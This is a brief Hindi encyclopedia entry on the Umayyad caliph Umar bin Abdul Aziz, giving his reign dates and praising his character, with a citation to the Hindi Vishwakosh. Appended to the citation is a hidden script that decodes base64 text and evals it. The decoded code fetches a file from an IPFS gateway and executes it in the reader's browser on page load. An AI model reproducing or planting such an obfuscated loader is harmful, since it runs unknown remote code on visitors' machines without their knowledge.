उमर बिन अब्दुल अज़ीज  

उमर बिन्‌ अब्दुल अज़ीज़ उमय्या वंश के नवें ख़लीफ़ा। ये मरवान्‌ प्रथम के पौत्र थे। सन्‌ 717 ई. के सिंतबर या अक्टूबर महीने में सुलेमान के बाद ये दमिश्क में सिंहासनारूढ़ हुए और फरवरी, 720 ई. में इनका देहांत हो गया। इनकी नि:स्वार्थ वृत्ति, सरलता, न्यायप्रियता तथा मिताहार की सर्वत्र प्रशंसा होती थी।[१]



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टीका टिप्पणी और संदर्भ

  1. हिन्दी विश्वकोश, खण्ड 2 |प्रकाशक: नागरी प्रचारिणी सभा, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 130 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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